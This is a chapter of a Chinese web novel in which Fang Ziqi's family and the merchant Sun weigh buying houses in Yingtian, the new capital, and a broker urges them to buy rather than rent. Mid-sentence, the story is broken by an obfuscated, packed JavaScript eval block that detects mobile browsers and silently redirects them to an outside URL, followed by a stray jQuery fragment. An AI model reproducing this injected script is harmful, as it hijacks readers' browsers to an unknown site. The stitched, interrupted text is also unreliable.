其实在任何时代，买房都不容易。


    更别说是在应天府这样的新都买房……


    普通的省城买房就已经很艰难了，这应天府既是省城又是新都……


    虽然小皇帝还没有正式迁都过来，但是有这个预期在，房价就低不了。


    方子期同自家爹娘已经商量好了。


    要在应天府置业。


    至于究竟是买一进院还是买二进院，就等打听打听这房价如何了。


    “子期！”


    孙员外兴冲冲地走了过来。


    “孙叔。”


    方子期打了个招呼。


    “子期。”


    “我听你爹说，你家要买房了？”


    “这应天府能置业了？”


    孙员外眼眸中透着光。


    能置业，就代表着能长久地待下去。


    那他就要好好地发挥一下自己的经商天赋了。


    “嗯！”


    “确实有这个打算。”


    “只要不出大的变动，这几年应天府应该还是很稳的。”


    “真要是出了大的变动……”


    “那这大梁朝就亡了。”


    方子期坦然道。


    可以迁都一次。


    还能迁都第二次吗？


    那是真**了。


    已经失了半壁江山，苟在南方了……


    再失……


    就灭国了。


    “成！”


    “子期你这么一说，我心里就有底了。”


    “子期，我打算…将现银全买房子！”


    “等过几个月或是过几年再全部出掉！”


    “现在这应天府毕竟还没有真正成为都城，房价虽然涨了不少，但是还不算太贵……”


    “等皇帝抵达应天府，那这应天府的房价肯定还能继续涨！”


    “再加上北方不平静，很多世家大族都衣冠南渡了，还有北方的百姓也都往南方跑……”


    “这南方的人口只会越来越多，如此…应天府的房价也会水涨船高！”


    “子期！”


    “你觉得如何？”


    孙员外搓搓手，一脸兴奋道。


    方子期眉毛一挑……


    好家伙。


    这孙员外要当炒房客了？


    “额……正常来说，只要应天府稳住，房价确实会继续涨。”


    “在商言商，孙叔你这个主意倒是没错。”


    “孙叔是打算在城南城东大肆收购宅院，还是去城北城西？”


    方子期询问道。


    这应天府也是有富人区和穷人区的。


    城南有贡院、省学等，所以很多富商和官员都热衷于在城南建设豪宅。


    至于城东…虽比城南稍差一些，但是也算比较富裕了。


    至于城西，商业气息比较浓郁，但是大多都是些小商人，富裕程度次之。


    至于城北…人口最多，民风亦最淳朴…也就是所谓的穷人区。


    “这个……”


    “我还没想好。”


    “子期觉得城南城东的宅院升值快，还是城西和城北的房子升值空间更大？”


    孙员外请教道。


    “朱门酒肉臭路有冻死骨。”


    方子期没有直接回答，而是说了这么一句。


    “行！”


    “那我懂了！”


    “多谢子期！”


    “嘿嘿！回头要是我在房子上挣了钱，定要给子期送上一成红利！”


    “子期可莫要拒绝，有你说的这些话，我心里才有底，才敢大肆购买房屋。”


    “还有这买房的区域和方向……都是子期你指引的。”


    “我分子期一成红利已经是很少的了。”


    “子期莫要觉得孙叔吝啬就成！”


    孙员外喜滋滋道。


    方子期无奈苦笑。


    来了来了，他又要来送钱了。


    在当今之大梁。


    世家大族和豪商掌握了整个大梁九成以上的财富。


    也就是说，百分之一的世家大族和豪商，掌控了大梁百分之九十以上的财富……


    百姓手中的银钱极其有限。


    更别说经过战乱摧残之后的百姓，很多都沦为乞丐了。


    因此这应天府城北和城西的房屋价格会涨，但是涨幅肯定是比不上城南和城东的。


    世家大族有的是银子。


    图的就是个面子。


    他们又怎么可能去城西或城北这样的穷人区购房呢？


    他们想要安家，自然首选城南或城东。


    至于价格嘛……


    只要面子上好看，银钱算个什么东西？


    买的可不仅仅是房子，还有体面！


    当天下午。


    方子期和方仲礼就出门了。


    同时跟着一起的，还有孙员外和一众


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408823|181960||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    亲眷。


    不管是买房还是租房，总是要付诸于实践的。


    他们总不能一直待在刘青芝的宅子里吧？


    方子期家待着也就待着了，毕竟还有一份师生情在，但是其余人等……是真没这个厚脸皮。


    为了以防被坑，方仲礼又穿上了那举人制服……


    问询了几个牙人后，对这应天府的租房价格和买房价格大概有了一个了解。


    出门的时候众人都兴冲冲的。


    但是此刻都有些蔫巴了。


    因为这价格对于他们来说…真的是太昂贵了。


    “这…这城北不是穷人区吗？怎么租房价格也这般贵？”


    “一处普通民居一个月二两银子？”


    “我这是租房，不是买房……”


    “二两银子我都能买一亩下田了！”


    三叔方叔礼忍不住红着脸道。


    太恐怖了！


    之前在通衢府房价巅峰时，他们在城北租民居也就一两银子一个月。


    到了这应天府，直接翻倍了。


    这沉重的负担……


    “嘿！”


    “这位兄弟，我可没讹你啊！”


    “有举人老爷在呢！我可不敢信口胡诌！”


    “价就是这么个价！”


    “毕竟这应天府马上就是咱们大梁的都城了！”


    “现在这晋王都已入了城了，就等着皇帝来了。”


    “皇宫现在都修缮好了。”


    “你想想，在京城租房什么价格？”


    “再看看现在这应天府的租房价格还贵吗？”


    “不贵了！”


    “真的不贵了！”


    “根据我当这么多年牙人的经验，以后不管是这租房价还是买房价恐怕都得涨。”


    “不说上涨多少，等咱们这应天府的都城地位定下来了，翻个番，那算是个事吗？”


    “所以啊！”


    “兄弟，有闲钱就干脆买一套房！”


    “租房租到最后，还得承受上涨的租金。”


    “但是买了房，以后房价涨了，就坐等着在家里面数钱吧！”


    牙人在一旁苦口婆心地劝说道。


    租房的中人费才几个钱？买卖房屋他这个中人才能大赚特赚！


    当然，此刻这牙人之言倒也未必没有几分可信度。


    毕竟大势所趋……